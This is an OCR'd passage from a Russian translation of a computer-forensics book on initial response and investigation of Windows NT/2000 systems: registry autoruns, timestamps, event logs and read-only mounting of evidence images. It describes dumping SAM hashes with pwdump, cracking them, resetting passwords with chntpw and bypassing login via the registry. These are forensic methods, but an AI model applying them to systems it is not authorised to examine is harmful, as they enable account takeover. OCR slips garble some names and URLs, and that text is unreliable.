\WINNT\windll.exe и \WINNT\winpop.exe и выполнении инструменталь-
ного анализа для определения их функций.
A:\>reg query "HKLM\Software\Microsoft\WinrJows\CurrentVersion\Run"
Listing of [Software\Microsoft\Windows\CurrentVersion\Run]
REG_SZ
SystemTray SysTray.Exe
REG_SZ
BrowserWebCheck loadwc.exe
REG_SZ
SchedulingAgent mstinit.exe /logon
REG_SZ
AtiPTA Atiptaab.exe
REG_SZ
WinPoET c:\BANetDSL\WinPoET\WinPPPoverEthernet.exe
REG_SZ
Windll.exe
O:\WINNT\Windll.exe
REG_SZ
winpop D:\WINNT\winpop.exe /nomsg:
[Optional Components]
Получение времени модификации, создания
и дос упа всех файлов
Получение времени модификации, создания
и доступа всех файлов
Как только принято решение выполнить углубленное реагирование, первый
шаг должен состоять в получении снимка системных отметок време-
ни/даты. Используйте команду dir для получения списка каталога всех фай-
лов на целевой системе, записывайте их размер, время доступа, модифика-
ции и создание. Это часто является наиболее важным и критическим шагом
при реагировании на инцидент.
Если можно идентифицировать соответствующие временные рамки, ког-
да произошел инцидент, отметки времени/даты становятся доказательст-
вом того, какие файлы атакующий открывал, загружал, выгружал и выпол-
нял. Хотя это потребует много времени на системах UNIX, Windows
выполняет эту задачу крайне быстро. Ниже показаны примеры использова-
ния dir для получения времени доступа, модификации, и создания.

Начальное реагирование в системе Windows NT/2000
261
Получение системных паролей
Вам может понадобиться получить пароли из системы во время реагирова-
ния, в частности, если имеется не желающий сотрудничать пользователь.
Применяйте pwdump Тода Сабина для копирования паролей из базы дан-
ных менеджера безопасности доступа (SAM). Эти пароли можно вскрыть на
судебной рабочей станции с помощью LOphtcrack Джона Риппера или любой
другой утилиты для вскрытия паролей NT. Помните, если вы решили вы-
полнить судебное дублирование системы, то вам скорее всего понадобятся
системные пароли для загрузки системы в ее собственной операционной
системы NT/2000. Вам необходимо будет иметь возможность войти в сис-
тему с учетной записью администратора.
v
Копирование системной оперативной памяти
Может оказаться важным скопировать содержимое памяти --- возможно,
для получения паролей, взять открытый текст недавно введенного зашиф-
рованного сообщения или извлечь содержимое недавно открытого файла.
К сожалению, в Windows NT/2000 поддержка копирования памяти не соот-
ветствует требованиям судебных процедур.
Существуют два способа копирования содержимого памяти в NT: через
GUI или через редактирование реестра. Если выбрать редактирование ре
естра, необходимо делать это на основе файловой системы, которая имеет-
ся в данный момент (FAT или NTFS). Процесс копирования памяти создает
файл на целевом жестком диске, если невозможно использовать сетевой
диск на удаленной системе. В любом случае необходимо перезагрузить сис-
тему. Поэтому, если вы чувствуете, что копия памяти является критически
важной для расследования, то можно также спланировать выполнение су-
дебного дублирования системы.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Копирование памяти NT: http://support.microsoft.eom/support/kb/articles/Q235/4/
96.ASP
Копирование памяти Windows 2000: http://support.microsoft.com/support/kb/articLes/
Q254/6/49.ASP
LOphtcrack: http://www.securitysoftwaretech.com/10phtcrack/
John the Ripper: http://www.openwaLL.com/john/
ТРЕБУЕТСЯ ЛИ ВЫПОЛНЯТЬ СУДЕБНОЕ ДУБЛИРОВАНИЕ?
После просмотра системной информации, которая извлечена во время на-
чального реагирования, необходимо решить вопрос о судебном дублировании
доказательств. Судебное дублирование целевой среды хранения предостав-
ляет "зеркальный образ" целевой системы, что демонстрирует осмотритель
ность при обработке критически важных инцидентов! Оно предоставляет
также средства для получения рабочих копий целевой среды хранения для

262
Глава 9
анализа, не беспокоясь об изменении или разрушении потенциальных дока-
зательств. Обычно если инцидент серьезный или требуется восстановить
удаленный материал, то судебное дублирование является оправданным.
Правоохранительные органы обычно предпочитают "побитное и побай-
товое" судебное дублирование целевых систем. Если вы реагируете на ин-
цидент, который может развиться в проблему корпоративного уровня с тя-
желыми последствиями, то желательно выполнить судебное дублирование.
Следует иметь некоторую политику, которая определяет, когда требует-
ся полное дублирование системы. Это может зависеть от самой системы
или типа расследуемой деятельности. Например, можно считать обвине-
ние в сексуальном домогательстве или любое расследование, которое мо-
жет вести к увольнению или понижению в должности сотрудника, доста-
точно серьезными для выполнения судебного дублирования. Если вы не
уверены, используйте копирование.
ИТ0ГИ
Если вы являетесь первым, кто выполняет реагирование и получает инфор-
мацию для определения, вовлечена ли система в незаконную, неавторизо-
ванную или неприемлемую деятельность, то вы работаете с тем, что назы-
вается начальным реагированием. Никогда не следует начинать начальное
реагирование без плана атаки.
Действия, которые выполняются во время начального реагирования,
критически важны для принятия правильных решений при последующем
расследовании. Мы обнаружили, что лучший подход является постепенным.
Используйте вначале наименее простые команды для определения области
инцидента и решения, оправдывает ли это полное судебное дублирование.
По нашему мнению, если имеются ресурсы и технические возможности, вы
никогда не ошибетесь, если выполните полное дублирование.

ГЛАВА 10
Исследование системы
Windows NT/2000

264
Глава 10
Когда начальное реагирование указывает, что требуется дальнейшее рас-
следование, имеются две возможности: можно выполнить либо исследова-
тельские действия на запоминающей среде самого доказательства, либо
сначала судебное дублирование запоминающей среды доказательства, а за-
тем исследовательские действия на записанном образе.
При выполнении исследования на запоминающей среде самого доказа-
тельства без создания судебного дубликата, реальное доказательство будет
изменено и будет отсутствовать базовая версия для сравнения после того,
как действия по расследованию изменят систему. Например, простой про-
смотр файла или записи каталога на системе доказательства приводит к из-
менению информации в системе. Но подобная информация может оказать-
ся ключевым элементом при создании обвинительного заключения.
С другой стороны, если создан судебный дубликат запоминающей среды
доказательства, вы всегда будете иметь исходный судебный образ для вос-
становления, если действия по расследованию случайно удалят или разру-
шат доказательство. Рекомендуется использовать для расследования судеб-
ное дублирование.
В этой главе рассматриваются различные способы исследования судеб-
ных дубликатов систем NT/2000 при попытке подтвердить незаконное,
неприемлемое или неавторизованное поведение. Предположим, что было
сделано следующее:
Выполнено начальное реагирование и подтверждено, что необходимо
дальнейшее расследование (см. главу 9).
Выполнена консультация у юриста (см. главу 3).
Выполнено судебное дублирование диска доказательства с помощью
Safeback, EnCase или другой утилиты копирования (см. главу 5).
Используйте формальный подход к исследованию системы, так как не-
организованный подход приведет к ошибкам и упущенным доказательст-
вам. Здесь описываются многие действия, которые необходимо предпри-
нять, чтобы извлечь доказательства для подтверждения или опровержения
многих тяжелых обвинений.
ГДЕ РАСПОЛАГАЮТСЯ ДОКАЗАТЕЛЬСТВА
В СИСТЕМАХ WINDOWS NT/2000
Прежде чем обратиться к судебному анализу, важно знать, где планируется
искать доказательства. Местоположение будет зависеть от конкретного слу-
чая, но обычно доказательства можно найти в таких областях, как:
Изменчивые данные в структурах ядра (см. главу 9)
Неактивное пространство, где можно получить информацию из уда-
ленных ранее файлов, которые не восстанавливаются

Исследование системы Windows NT/2000
265
Свободное или нераспределенное пространство, где можно найти
удаленные ранее файлы
Поврежденные или недоступные кластеры
Логическая файловая система
Журналы событий
Реестр, который можно считать файлом громадного журнала
Журналы приложений, не управляемые службой журналов событий
Windows
Файл своппинга, содержащего информацию, которая была недав-
но расположена в системной памяти (называемый pagefile.sys в ак-
тивном разделе)
Специальные файлы уровня приложения, такие как файлы Netscape
fat.db, history.hst и кэш браузера
Временные файлы, созданные многими приложениями
Recycle Bin --- мусорная корзина (скрытая логическая файловая
структура, где можно найти недавно удаленные элементы)
Спулер принтера
Посланная или полученная почта, такая как файлы .ost и .pst для
почты Outlook или AOL
Во время расследования может понадобиться искать доказательства в
каждой из этих областей. А это может оказаться сложным процессом. Мы
опишем среду исследования в разделе "Выполнение исследования Windows
NT/2000".
НАСТРОЙКА СУДЕБНОЙ РАБОЧЕЙ СТАНЦИИ
Прежде чем выполнять действия по исследованию, необходимо установить
на судебной рабочей станции утилиты, важные для просмотра восстановлен-
ного образа. Как вы знаете, при выполнении судебно значимых исследова-
ний систем NT/2000 важно по возможности избегать изменения восстанов-
ленного образа. Поэтому необходимо просматривать восстановленный
образ так, чтобы образ можно было только читать и нельзя было изменять.
Мы называем это автономным анализом (offline analysis). "Автономный" пред-
полагает доступ к данным на диске восстановленного образа из контролируе-
мой операционной системы (системы Linux или Windows) или такой среды
как EnCase.
Дублирование судебного дубликата
Во многих случаях судебное дублирование может стать реальным доказатель-
ством. Рассмотрим выполнение дублирования жесткого диска на месте в
компании. Вместо того чтобы выносить жесткий диск компании или компь
ютерную систему, можно выполнить судебное дублирование запоминающей

266
Глава 10
среды доказательства. Образ становится доказательством согласно FRE
1001(3). Начальная судебная копия должна использоваться как доказатель-
ство согласно правилу лучшего доказательства (см. главу 5), а другие копии
необходимо создать для анализа.
Просмотр логических файлов
Когда операционная система Microsoft находит новый диск, который имеет рас-
познаваемые разбиения, она начнет немедленно процесс обновления метадан-
ных файловой системы (отметки времени доступа, псевдонимы для Recycle Bin и
т.д.). Когда вы требуете использования драйвера файловой системы только
для чтения, вы гарантируете, что операционная система хоста не изменит
файловую систему каким либо образом. Таким образом у исследователя бу-
дет ограничено число возможностей для просмотра логических файлов.
Одной из возможностей является использование NTFSDOS (Sysinter
nals) для просмотра содержимого разбиения через Windows 9x. NTFSDOS
является драйвером файловой системы только для чтения в DOS/Windows,
который может распознавать и монтировать диски NTFS. Можно анализи-
ровать восстановленный образ с помощью NTFSDOS для перемещения,
просмотра и выполнения программ в системах NTFS без наличия реальной
записи в восстановленной запоминающей среде.
Другой возможностью является монтирование восстановленного изоб-
ражения под Linux. Можно смонтировать образ только для чтения и обра-
щаться к файлам на восстановленном образе, не беспокоясь о том, что они
изменятся. Следующая командная строка монтирует диск NTFS только для
чтения в точке монтирования операционной системы хоста:
mount  t ntfs  г /dev/hdb /mnt/evidencedrive
Благодаря ряду собственных форматов файлов в системах Windows, ана-
лиз логических файлов облегчается при использовании судебной рабочей
станции, работающей под Windows. Однако, как мы уже упоминали, системы
Windows могут менять восстановленный образ. Подобная проблема решает-
ся использованием Linux в качестве операционной системы хоста для пер-
вичного анализа файлов и поиска строк. Затем экспортируется восстанов-
ленный образ в систему Windows для анализа логических файлов. Действия,
которые используются при данном подходе:
1. Монтируется восстановленный образ в режиме только для чтения
под Linux и проверяется успешность монтирования.
2. Задается общий ресурс под SAMBA (помните, что это часть файло-
вой системы только для чтения). SAMBA позволяет операционной
системе UNIX предложить общий файловый ресурс, совместимый
со стандартными сетевыми протоколами Windows.
3. Просматриваем восстановленный образ с помощью системы Win-
dows, загруженной с утилитами просмотра файлов, такими как
Quickview Plus, Microsoft Word, Outlook и другими приложениями,
которые могут обращаться к конкретным форматам файлов.

Исследование системы Windows NT/2000
267
VMware является продуктом, который может на одной системе одновре-
менно выполнять разные операционные системы. Это делает VMware попу-
лярным приложением для установки на судебной рабочей станции. С помо-
щью VMware можно смонтировать восстановленный диск NTFS через
общие файловые ресурсы из операционной системы на основе Windows. С
помощью такого подхода можно просмотреть диск NT/2000 из одной сис-
темы, не беспокоясь об изменении запоминающей среды доказательства.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Sysinternals NTFSD0S: http://www.sysinternals.com
VMware: http://www.vmware.com
бработка паролей
В некоторый момент исследования понадобится загрузить восстановлен-
ный образ в его собственной операционной системе для просмотра част-
ных конфигурационных файлов, просмотра рабочего стола и настроек, и
получение общего понимания состояния системы во время судебного дуб-
лирования. Когда системный дубликат загружается в своей собственной
операционной системе (и он может иметь несколько операционных сис-
тем!), то последний шаг процесса загрузки Windows NT/2000 требует реги-
страции в восстановленной системе. Поэтому необходимо знать учетную
запись пользователя и пароль учетной записи уровня администратора.
Если предметом расследования является взаимодействующий сотрудник,
будет легко получить пароль учетной записи уровня администратора. Одна-
ко достаточно часто необходимо анализировать судебный образ машины
NT/2000, которая принадлежит не знающему или не взаимодействующему
сотруднику. В этих случаях имеются четыре возможности:
Получить базу данных SAM во время начального реагирования на дей-
ствующей системе, используя pwdump, и вскрыть пароли с помощью
таких утилит, как John the Ripper или L0phtcrack.
Получить базу данных SAM во время автономного судебного анализа
и извлечь пароли с помощью утилит вскрытия паролей.
Пропустить аутентификацию паролей, необходимую для входа в целе-
вую машину NT, изменяя реестр.
Изменить пароли в SAM, так как они вскрываются с трудом.
Изменение паролей пользователей
Мы часто используем автономный редактор паролей NT с именем chntpw,
созданный Петтером Нордаль Хагеном. Chntpw является программой Li-
nux, которая позволяет просматривать и изменять пароли пользователей в
файле базы данных Windows NT/2000. В дополнение к изменению она со-
держит простой редактор реестра и шестнадцатеричный редактор, позво-
ляющий выполнять низкоуровневое редактирование реестра NT. Утилита
chntpw бесплатно доступна и ее Web сайт (см. ниже) содержит также образ

268
Глава 10
загрузочного гибкого диска Linux, поэтому нет необходимости компилиро-
вать свое собственное ядро.
Преимущество chntpw перед pwdump или простым копированием фай-
ла SAM из целевой системы (когда он не загружен в своей собственной опе-
рационной системе) состоит в том, что нет необходимости вскрывать па-
роли NT. Можно использовать chntpw для изменения паролей (отсюда ее
название: change NT password). Это будет полезно, когда такие утилиты как
John the Ripper и LOphtcrack требуют слишком много времени для вскры-
тия хорошо выбранного пароля. Если chntpw используется для судебных
целей, необходимо записать тот факт, что вы изменили пароль системы до-
казательства.
Использование утилит вскрытия паролей
Существует много других ситуаций во время исследования, когда необходи-
мо вскрывать различные пароли. Если сотрудник подозревается в отправке
из корпоративной сети упакованных с помощью PKZip зашифрованных
порнографических изображений, он может не предоставить исследовате-
лю свой пароль PKZip. К счастью, несколько прекрасных утилит могут вос-
становить пароли практически для всех используемых приложений, таких
как продукты Microsoft Office и Lotus Notes Suite.
NTT и AccessData предлагают утилиты восстановления пароля, которые
обычно используются правоохранительными органами. Оба продукта мо-
гут предоставить вход в Microsoft Access (95/97/2000), Microsoft Excel (все
версии), пароли проектов VBA, Microsoft Internet Explorer Content Adviser,
Microsoft Mail, Microsoft Money, Microsoft Outlook (все версии), Microsoft
PowerPoint97, Microsoft Schedule+, Microsoft Word (все версии), Lotus Notes
1 2 3, Lotus Approach, Lotus Organizer, Lotus WordPro, Paradox (базы дан-
ных), Adobe PDF и шифрованные файлы PKZip.
К сожалению, не существует известного метода для извлечения паролей
из сжатых файлов PKZip. Единственными доступными методами являются
метод грубой силы, метод на основе словаря и атака открытым текстом.
Если пароль хорошо выбран и длиннее 10 символов и атака на основе сло-
варя не работает, то не существует простого способа определения пароля.
В таких случаях необходимо выделить для этой задачи быстрый компьютер
на большой период времени --- возможно, на месяц или больше (однако
можно попробовать использовать более мощную вычислительную систему,
чтобы ускорить поиск). Одна из наших предыдущих организаций использо-
вала для вскрытия паролей кластер Beowulf.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
chntpw: http://home.eunet.no/~pnordahl/ntpasswd/
AccessData: http://www.accessdata.com
Password Kit: http://www.lostpassword.com/kit.htm
Fast Zip Cracker (FZC): http://www.netgate.com.uy/~fpapa/
Elcom: http://www.elcomsoft.com/

Исследование системы Windows NT/2000
269
Пример инцидента
Вы расследуете инцидент с сотрудником, подозреваемым в воровстве ча-
стной информации. При просмотре содержимого жесткого диска было
найдено пять документов Microsoft Word, которые имеют имена файлов,
относящихся к информации, якобы проданной конкуренту. Проблема в
том, что вы не можете просмотреть файлы, так как они защищены паро-
лем. Подозреваемый предпочитает не предоставлять пароли и просто
покидает свою работу. Однако вы чувствуете, что это вероломное дейст-
вие принесет компании миллионные убытки. Желательно будет вскрыть
пароли на этих документах, доказать обвинение и получить денежную
компенсацию. Поэтому лучше держать утилиты для вскрытия паролей
под рукой.
Выполнение начального низкоуровневого анализа
Исследование Windows NT/2000 начинается с автономного реагирования.
Таким образом, первый шаг исследования состоит в монтировании судеб-
ного дубликата для автономного анализа. С целью идентификации и ссылок
документируйте таблицу разбиения и метки томов запоминающей среды дока-
зательства перед выполнением каких либо других исследовательских дейст-
вий. Можно использовать ptable, коммерческую утилиту от NTI или восполь-
зоваться бесплатно доступной утилитой fdisk под Linux.
Необходимо определить число разбиений и существуют или нет в систе-
ме несколько операционных систем. С распространением систем с двой-
ной загрузкой можно оказаться в ситуации выполнения судебного анализа
на разбиении NTFS и разбиении ЕХТ2.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
ptable: http://www.forensics intl.com/ptable.html
Выполняйте как можно больше анализа автономно
Правоохранительные органы должны придерживаться автономного рас-
смотрения системы доказательства как можно в большем числе исследова-
тельских действий. Если можно получить необходимую информацию с по-
мощью автономного анализа доказательства, то необходимо это сделать.
ВЫПОЛНЕНИЕ ИССЛЕДОВАНИЯ WINDOWS NT/2000
После настройки судебной рабочей станции необходимыми утилитами и
записи низкоуровневых данных о разбиении целевого образа вы готовы к
выполнению расследования. Исследовательские действия, требуемые для
формальной проверки целевой системы, описывают следующие 10 шагов:
Просмотр всех имеющих отношение к делу журналов

270
Глава 10
Выполнение поиска ключевых слов
Просмотр всех существенных файлов
Идентификация учетных записей или групп неавторизованных пол~
зователей
Идентификация незаконных процессов
Поиск необычных или скрытых файлов
Проверка неавторизованных точек входа
Проверка заданий, выполняемых службой планировщика (Scheduler)
Анализ доверительных отношений
Просмотр идентификаторов безопасности
Эти действия не упорядочены по времени или в порядке важности. Мо-
жет понадобиться выполнить каждое из них или только часть. Ваш подход
зависит от плана реагирования и обстоятельств инцидента. Мы организо-
вали следственные действия, чтобы предоставить стандартизованный под-
ход к компьютерным расследованиям независимо от вовлеченных опера-
ционных систем.
Просмотр всех имеющих отношение к делу журналов
Операционные системы Windows NT/2000 поддерживают три отдельных
файла журналов: системный, приложений и безопасности. При просмотре
данных журналов можно будет получить следующую информацию:
Определить, какие пользователи получали доступ к определенным
файлам.
Выяснить, кто успешно зарегистрировался в системе.
Определить, кто безуспешно пытался зарегистрироваться в системе.
Проследить использование определенных приложений.
Проследить изменение политики аудита.
Проследить изменения полномочий пользователя (такие как увеличение
уровня доступа).
Системные процессы и деятельность драйверов устройств записывается
в системном журнале. Системные события, контролируемые NT, включают
драйверы устройств, которые не смогли правильно запуститься, отказы
оборудования, повторяющиеся IP адреса, а также запуск, приостанов и останов
служб.
Деятельность, связанная с программами пользователя и коммерческими
готовыми приложениями, заполняет журнал приложений. События прило-
жений, которые контролирует NT, включают все ошибки или информа-
цию, которую хотят сообщить приложения. Журнал приложений может
включать события, которые контролирует монитор производительности,
такие как число неудачных попыток входа в систему, объем использования
диска и другие важные показатели.

Исследование системы Windows NT/2000
271
Системный контроль и процессы безопасности, используемые NT, нахо-
дятся в журнале безопасности. События безопасности, которые контроли-
рует NT, включают изменения в полномочиях пользователя, в политике
аудита, доступ к файлам и каталогам, деятельность принтера и вход и выход
из системы.
Любой пользователь может просматривать журналы приложений и сис-
темы, но только администраторы могут читать журнал безопасности, наи-
более полезный журнал при реагировании на инцидент. Исследователь
должен хорошо уметь просматривать и фильтровать вывод в эти журналы,
чтобы опознавать доказательства, которые они содержат.
ВНИМАНИЕ Установка Windows 2000 Server может добавлять журналы событий
для системы имен доменов (DNS) и служб каталогов.
Поиск журналов приложений, неуправляемых ОС Windows
Одним из наиболее полезных поисков для выполнения в системах Windows
является просмотр всех файлов с суффиксом .log. Многие приложения не-
зависимых поставщиков и утилиты системы NT создают файлы журналов,
специфические для соответствующих приложений.
Исследование журналов на работающей системе
Windows NT и 2000 предоставляют утилиту Event Viewer для доступа к журна-
лам аудита на локальном хосте. Выберите Start | Programs | Administrative
Tools | Event Viewer, чтобы открыть Event Viewer.
В Event Viewer выберите из меню Log журнал, который желательно про-
смотреть. На рис. 10.1 показан журнал безопасности в Event Viewer. Отметим
пиктограммы ключа и закрытого замка в первом столбце слева. Ключ обо-
значает успешную запись, а замок --- отказ некоторого вида.

272
Глава 10
Исследователи наиболее заинтересованы в идентификаторе (ID) собы-
тия в столбце Event. Каждый идентификатор (ID) события представляет
определенный тип системного события. Опытные системные администрато-
ры хорошо знают идентификаторы событий, перечисленные в таблице 10.1.
Таблица 10.1. Некоторые идентификаторы событий журнала событий
Идентификатор
516
517
528
529
531
538
576
578
595
608
610
612
624
626
630
636
642
643
Описание
Некоторое записи событий аудита были отброшены
Журнал аудита очищен
Успешный вход в систему
Неудачный вход в систему
Неудачный вход в систему, заблокирован
Успешный выход из системы
Присваивание и использование прав
Использование привилегированной службы
Косвенное обращение к объекту
Изменение политики прав
Новый доверительный домен
Изменение политики аудита
Добавлена новая учетная запись
Инициирована учетная запись пользователя
Учетная запись пользователя удалена
Изменение группы учетных записей
Изменение учетной записи пользователя
Изменение политики домена
Хотя идентификаторы событий Windows NT и Windows 2000 аналогич-
ны, Windows 2000 имеет значительно больше идентификаторов событий.
Список идентификаторов событий для каждой операционной системы бес-
платно доступен в Web.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Идентификаторы событий безопасности NT: http://www.microsoft.com/tech
net/support/kb.asp?ID=174074
Идентификаторы событий Windows 2000: http://www.microsoft.com/windows2000/
Library/resources/reskit/ErrorandEventMessages/default.asp
Необходимо щелкнуть на записи журнала, чтобы увидеть ее данные. На
рис. 10.2 показан пример данных при успешном входе в систему с именем
WEBTARGET с удаленной системы с именем THUNDAR.

Исследование системы Windows NT/2000
273
Рис. 10.2. Данные события успешного входа в систему
По мере привыкания к просмотру журналов событий NT/2000 вы начне-
те опознавать признаки неавторизованной или незаконной деятельности.
Что может произойти
Вы хотите строго контролировать все процессы, которые сотрудник вы-
полняет на своей рабочей станции NT/2000. Юридический консультант
подтвердил, что корпоративная политика поддерживает создание таких
журналов.
Где искать доказательства
Windows NT и Windows 2000 могут регистрировать создание и завершение
каждого процесса в системе. Чтобы инициировать это свойство, надо задать
политику аудита мониторинга для подробного отслеживания успеха и отка-
за. Когда процесс создается, для него задается уникальный идентификатор
процесса (PID). Когда подробное отслеживание включено, можно опреде-
лить каждый процесс, который выполняет пользователь в системе. Про-
смотрите следующие идентификаторы событий:
592 Новый процесс был создан
593 Процесс завершился
Автономное исследование журналов
Для просмотра журналов событий из автономной системы необходимо по-
лучить копии файлов seccvent.evt, appevent.evt и sysevcnt.evt из судебной

274
Глава 10
копии. Эти файлы обычно хранятся в используемом по умолчанию катало-
ге \WINNT\System32\Config. Можно получить подобные файлы, исполь-
зуя загрузочный файл DOS (NTFS --- для DOS, если файловой системой яв-
ляется NTFS) или с помощью загрузочного диска Linux с соответствующим
ядром для монтирования дисков NTFS.
После восстановления трех файлов .evt можно просмотреть файлы жур-
налов на судебной рабочей станции. В Event Viewer выберите Log | Open и
определите путь доступа к скопированным файлам .evt. Тип журнала (безо-
пасности, приложений или системный) выбирается во время выбора фай-
ла .evt для просмотра.
Возможно, что судебная рабочая станция не сможет прочитать важные
журналы событий. В этом случае выполните следующие действия для досту-
па к журналам:
1. Отключите службу EventLog на судебной рабочей станции, откры-
вая Control Panel | Services и выбирая Disable для параметра Event
Log (это изменение не действует, пока рабочая станция не будет пе-
резагружена).
2. Используйте User Manager для изменения политики аудита судеб-
ной рабочей станции, чтобы ничего не регистрировать вообще.
Это помешает судебной рабочей станции записывать в журнал без-
опасности доказательства.
3. Перезагрузите судебную рабочую станцию, а затем проверьте, что
служба EventLog не включена, просматривая Control Panel | Services.
4. Поместите файлы .evt доказательства в каталог \WINNT\System32\
Config. Так как Event Viewer автоматически не поддерживает запол-
нение трех файлов .evt в \WINNT\System32\Config, то понадобит-
ся либо переименовать файлы .evt судебной рабочей станции, либо
перезаписать файлы журналов, которые система использовала в
данный момент.
5. Воспользуйтесь Control Panel | Services для запуска службы Event
Log, выбирая Manual Start и затем запуская службу EventLog.
6. Запустите Event Viewer. Теперь вы сможете просмотреть журналы
событий доказательства.
Так как аудит будет отключен, то журнал безопасности не запишет собы-
тия на судебной рабочей станции. Однако помните, что другие журналы бу-
дут заполняться событиями, которые судебная рабочая станция хочет заре-
гистрировать в это время. Так как системное имя судебной рабочей станции
должно отличаться от системного имени доказательства, необходимо иметь
возможность различать записи. Отметки времени/даты также говорят, ка-
кие события принадлежат судебной рабочей станции. Сохраните просто
журнал событий как можно раньше, чтобы избежать записей судебной рабо-
чей станции в журналы.

Исследование системы Windows NT/2000
275
Недостатки журнала событий
Используемые по умолчанию настройки для журналов событий NT и Win-
dows 2000 ограничивают каждый файл журнала максимальным размером
512 Кбайт и продолжительностью по времени в семь дней. Когда достигнут
фиксированный размер, файл журнала закрывается. Он должен быть очи-
щен до того, как можно будет снова записывать в этот файл журнала. Можно
изменить данные значения в меню Log Settings, но помните, что размер и вре-
менные рамки каждого журнала (безопасности, приложений и системный)
необходимо задавать индивидуально.
Используемые по умолчанию настройки, при которых имеются события
безопасности, контролируемые NT/2000, не должны вообще регистрирова-
ться. Это означает, что по умолчанию системы NT/2000 не регистрируют
успешный вход в систему, доступ к файлам, выключение и многие другие
важные события. Это может сделать исследование NT/2000 проблемой.
Одной из трудностей с журналами NT/2000 является то, что Event Viewer
позволяет просматривать только одну запись за раз. Просмотр журналов
системы NT/2000 становится длительным и трудным процессом. Другим
недостатком является то, что записывается только имя источника Net-
BIOS, а не IP адрес удаленной системы. Это часто делает невозможной
идентификацию удаленных соединений с серверами NT, если отсутствует
запись сетевых журналов и программное обеспечение IDS на хосте, кото-
рое перехватывает удаленный IP адрес.
Одним из недостатков автономного просмотра системных журналов
NT/2000 является то, что журналы заполняют поле Description (описание),
используя значения из различных файлов динамически связываемых биб-
лиотек (DLL). Это не должно влиять на автономный просмотр журнала бе-
зопасности, так как сообщения являются стандартными. Однако журнал
приложений может содержать записи, в которых нет подходящего описа-
ния текстовых сообщений, соответствующих идентификатору сообщения,
создаваемому приложением. Если используемая судебная рабочая станция не
имеет те же самые приложения, что и система доказательства, будут пропу-
щены многие поясняющие данные в журнале приложений. На рис. 10.3
показан обзор журнала приложений системы доказательства, где судебная
рабочая станция не имеет соответствующих файлов, необходимых для за-
полнения поля описания.
Использование dumpel и импорт журналов событий в Excel или некото-
рое другое приложение электронных таблиц предоставляет быстрый обзор
и простой способ создания отчетов во время просмотра журналов. Этот
подход описан в следующем разделе.
Что может произойти
При выполнении автономного просмотра журнала приложений системы
NT вы видите запись, сделанную из антивирусного программного обеспе-
чения системы. Проблема состоит в том, что судебная рабочая станция не
может заполнить поле описания в записи, чтобы определить, с каким сооб-
щением обратился сканер вирусов.

276
Глава 10
Где искать доказательства
Во время просмотра журнала приложений из восстановленного образа, сле-
дите за приложениями, которые записывают в журнал события, которые
требуют описательных сообщений из реестра. Чтобы транслировать по
внешнему виду бесполезные номера в подходящие описательные сообще-
ния, необходимо будет получить копию файла улья системного реестра из
восстановленного образа. По умолчанию этот файл находится в каталоге
\WINNT\System32\Config. Импортируйте системный улей, используя ге
gedt32. He забудьте назвать соответствующим образом импортированный
улей, чтобы не перепутать его с локальным реестром судебной рабочей
станции.
Найдите ключ EventMessageFile для приложения, для которого требует-
ся описание. Ключ находится обычно в подключе CurrentControlSet/Servi
ces/ EventLog\Application импортированного улья. Можно либо идентифи-
цировать записи и описания, которые вы ищете, либо импортировать все
эти ключи в реестр судебной рабочей станции. Более простой подход со-
стоит в загрузке судебного дубля в его собственной операционной системе
для просмотра журналов.
Рис. 10.3. Пустое поле описания (Description) в журнале приложений
Использование dumpel для просмотра журналов событий
Во время начального реагирования на инцидент полезно использовать
dumpel из NT Resource Kit (NTRK). Выполняя Dumpel на системе жертве и
используя надежную утилиту пересылки файлов netcat (или cryptcat), мож-
но получить журналы событий и выполнить автономный просмотр через
сеть TCP/IP.

Исследование системы Windows NT/2000
277
НАГЛЯДНЫЙ ПРИМЕР
Просмотр журналов NT с помощью Event Viewer может быть трудной за-
дачей. Мы занимались поиском лучшего способа аудита больших сетей
NT и пришли к выводу, что программное обеспечение IDS на базе хоста
и на основе сети предоставляет записи журнала, которые можно про-
смотреть значительно быстрее и легче, чем стандартные журналы NT.
Однако мы по прежнему считаем, что аудит NT является важным, хотя
многие эксперты скажут, что аудит NT плохой и неадекватный.
Использовались настройки аудита Process Tracking для записи в жур-
налы практически всех приложений, которые пользователь выполняет
или открывает, редактирует и закрывает. Даже открытие WordPad запи-
сывается в журнал при использовании Process Tracking. Поэтому запись
журналов NT, хотя и громоздкая, делает достаточно тщательное отсле-
живание событий.
Dumpel может вывести все три журнала событий и может также исполь-
зовать вывод в формате с разделителями. Вывод dumpel можно импорти-
ровать в электронную таблицу (например, StarOffke или Microsoft Excel)
для дополнительных манипуляций, таких как сортировка или поиск.
Следующая командная строка на системе жертве выводит журнал без-
опасности и использует в качестве разделителей символы табуляции:
dumpel  1 security  t
(
Исследование журналов IIS
При исследовании сервера NT/2000, который выполняет Windows IIS (In-
ternet Information Service --- информационная служба Интернета), понадо-
бится просмотреть файлы журналов для каждой службы IIS, особенно для
Web сервера. Такие журналы расположены в каталоге \WINNT\System32\
LogFiles, в соответствующих подкаталогах каждой службы. Например,
W3SVC1 является подкаталогом, содержащим журналы Web сервера (см.
главу 14).
ВНИМАНИЕ Журналы Windows IIS используют универсальное время (среднее
время по Гринвичу), а журналы событий поддерживают нормальное
системное время. Время вычисляется также на основе конкретной
системы, которая просматривает журналы. Таким образом собы-
тие, записанное в 05:12:36 на системе доказательства, может каза-
ться на судебной рабочей станции произошедшим в другое время.
Эта информация является критической при выполнении анализа
времени для корреляции журналов на хосте и сетевых журналов.
Выполнение поиска ключевых слов
Во время расследования случаев, связанных с интеллектуальной собственно
стью или частной информацией, сексуальными оскорблениями и практиче
ски любыми случаями, включающими текстовую коммуникацию, важно

278
Глава 10
правильно выполнить поиск строк на жестком диске. Многие различные
ключевые слова могут быть критически важными для исследования, вклю-
чая идентификаторы (ID) пользователей, пароли, важные данные (кодо-
вые слова), известные имена файлов и тематически важные слова (напри-
мер, марихуана, травка, колеса, наркотик). Поиски строк могут выполняться
на логической файловой структуре или на физическом уровне для провер-
ки содержимого всего диска.
Большинство утилит поиска на диске, которые продаются как судебное
программное обеспечение, реализуют прямое чтение с жесткого диска, вы-
полняя на диске поиск строки на физическом уровне. Утилиты этого типа
